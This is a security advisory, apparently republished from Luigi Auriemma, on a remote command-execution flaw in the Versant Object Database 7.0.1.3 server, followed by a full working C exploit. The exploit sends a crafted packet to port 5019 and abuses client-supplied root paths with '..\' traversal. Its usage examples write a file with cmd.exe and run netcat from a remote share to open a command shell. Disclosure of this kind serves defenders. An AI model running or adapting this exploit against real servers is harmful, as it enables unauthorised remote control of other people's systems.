|
|
|
|
| |
"The Versant Object Database is the market leader in object databases. Using Versant Object Database for data storage brings powerful advantages to applications that use complex C++ and Java object models, have high concurrency requirements, and large data sets. The Versant Object Database is designed to handle the navigational access, seamless data distribution, and enterprise scale often required by these applications." The Versant Object Database has been found to contain a vulnerability that allows remote attackers to cause the product to execute arbitrary commands.
The Versand server is used also in other stand-alone products like, for example, Borland CaliberRM which naturally are vulnerable too. |
| |
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/versantcmd-adv.txt
|
| |
Vulnerable Systems:
* Versant Object Database version 7.0.1.3
VersantD is the service used for managing the Versant database and by default listens on port 5019 with the subsequent assigning of a new port after a client connects to it, so the client connects to port 5019 where is handled by the ss.exe process and after the initial exchange of data the connection continues on the new port.
The first incredible thing which happens when a client connects is that the full paths which will be used by the server to launch the needed programs or locate the database files are passed directly by the same client.
That means for example that if a client passes c:\folder in the VERSANT_ROOT field, the server will run (in case the "-utility" command is used) "c:\folder\bin\obe.exe -version 7.0.1 -dbtype + -nettype 2 -arch 11 -utility -soc 220 o_oscp" through the vs_prgExecAsync function.
Then using a custom command value (at the place of the "-utility" showed before) beginning with the "..\" pattern for removing the "\bin\" folder added by the server forces it to execute not only a custom executable decided by the attacker but also any additional argument too.
Naturally is also possible to execute remote commands not available on the server through, for example, the Windows shares simply using \\myhost\myfolder as path.
So, resuming, through the Versant server an attacker can execute any local or remote custom command.
The following is the full command-line executed through a custom command value (in my proof-of-concept there is the explanation of all the fields) with the parameters supplied by the client in upper case:
"VERSANT_ROOT\bin\OUR_COMMAND OUR_ARGUMENTS -noprint -username VERSANT_USER -release VERSANT_REL -rootpath VERSANT_ROOT -dbpath VERSANT_DB -dbidpath VERSANT_DBID -dbidnode VERSANT_DBID_NODE DATABASE_NAME -posterrstk"
It's enough to use a line-feed at the end of our arguments for dropping all the useless stuff which starts from "-noprint".
Note: all the tests have been performed on the Windows version of the server so the exploitation could differ a bit on the other supported platforms.
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/versantcmd.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include "show_dump.h"
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 5019
#define BUFFSZ 0x800
int tcp_recv(int sd, u8 *buff, int len);
int putcc(u8 *data, int chr, int len);
int putss(u8 *data, u8 *str);
int getxx(u8 *data, u32 *ret, int bits);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
sz1,
sz2,
sz3;
u16 port = PORT;
u8 buff[BUFFSZ],
versant_root[BUFFSZ],
versant_command[BUFFSZ],
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Versant server <= 7.0.1.3 arbitrary commands execution "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 4) {
printf("\n"
"Usage: %s <host/path> <command> <host> [port(%hu)]\n"
"\n"
"Examples:\n"
" versantcmd \"c:\" \"..\\windows\\system32\\cmd.exe /c echo hello > c:\\bug.txt\" 192.168.0.1\n"
" versantcmd \"\\\\myhost\\folder\" \"..\\nc.exe -l -p 5018 -e cmd.exe\" 192.168.0.1\n"
"\n", argv[0], port);
exit(1);
}
sprintf(versant_root, "%.*s", sizeof(versant_root), argv[1]);
sprintf(versant_command, "%.*s", sizeof(versant_command) - 1, argv[2]);
strcat(versant_command, "\n"); // no other boring arguments
if(argc > 4) port = atoi(argv[4]);
peer.sin_addr.s_addr = resolv(argv[3]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
sz1 = 2;
sz2 = 2;
sz3 = (((sz2 + 1) & (-2)) + (sz1 * 2) + 12) * 2;
memset(buff, 0, BUFFSZ);
p = buff;
p += putxx(p, 1, 16); // <= 5
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putxx(p, sz1, 16);
p += putxx(p, sz2, 16);
p += putxx(p, 1, 32);
p += putxx(p, 0, 16);
p += putxx(p, 0, 16);
p += putxx(p, 0, 32);
p += putcc(p, 0, sz1 * 4);
p += putxx(p, 1, 16);
p += putxx(p, 0, 16);
p = buff + sz3;
p += putss(p, "o_dblist"); // database name, max 0x120
p += putss(p, "Administrator"); // VERSANT_USER setenv
p += putss(p, "7.0.1"); // VERSANT_REL max 9
while((p - buff) & 3) *p++ = 0; // padding
p += putxx(p, 11, 32);
p += putxx(p, 0x100, 32); // VERSANT_NET_BUFSIZE and NET_BUFSIZE setenv <= 0x800
p += putxx(p, 0, 16);
p += 2; // padding or just unused
p += putxx(p, 0, 16);
p += putxx(p, 0, 8);
p += putxx(p, 0, 8);
p += putss(p, "hostname");
p += putss(p, versant_root); // VERSANT_ROOT setenv
p += putss(p, "c:\\versant_db"); // VERSANT_DB setenv
p += putss(p, "c:\\versant_dbid"); // VERSANT_DBID setenv
p += putss(p, "DBID_NODE"); // VERSANT_DBID_NODE setenv
p++; // now the parameters you see above are rehandled again... totally crazy!!!
p += putss(p, "");
p += putss(p, "");
p += putss(p, "");
p += putss(p, "");
p += putss(p, "SERVICE_NAME"); // VERSANT_SERVICE_NAME setenv
p += putss(p, versant_command); // -license -restore -activedb -utility -systemService
// if none of them is selected will be called ut_execCommand: database VERSANT_USER VERSANT_REL -command VERSANT_ROOT VERSANT_DB VERSANT_DBID VERSANT_DBID_NODE
if((p - buff) > BUFFSZ) {
printf("\nError: your string is longer than NET_BUFSIZE, %u\n", p - buff);
exit(1);
}
printf(
"- try to execute the following full command:\n"
" %s\\bin\\%s",
versant_root, versant_command);
send(sd, buff, BUFFSZ, 0);
printf(
"- wait some seconds to see if the server sends its reply, which means the new\n"
" process you have launched is terminated\n");
for(;;) {
if(timeout(sd, 5) < 0) {
printf("- timeout\n");
break;
}
len = recv(sd, buff, BUFFSZ, 0);
if(len <= 0) break;
show_dump(buff, len, stdout);
}
close(sd);
printf("- done\n");
return(0);
}
int tcp_recv(int sd, u8 *buff, int len) {
int t;
u8 *p;
for(p = buff; len; p += t, len -= t) {
if(timeout(sd, 3) < 0) return(-1);
t = recv(sd, p, len, 0);
if(t <= 0) return(-1);
}
return(0);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int putss(u8 *data, u8 *str) {
int len;
len = strlen(str) + 1;
memcpy(data, str, len);
return(len);
}
int getxx(u8 *data, u32 *ret, int bits) {
u32 num;
int i,
bytes;
bytes = bits >> 3;
for(num = i = 0; i < bytes; i++) {
num |= (data[i] << ((bytes - 1 - i) << 3));
}
*ret = num;
return(bytes);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> ((bytes - 1 - i) << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
|
|
|
|
|
|
|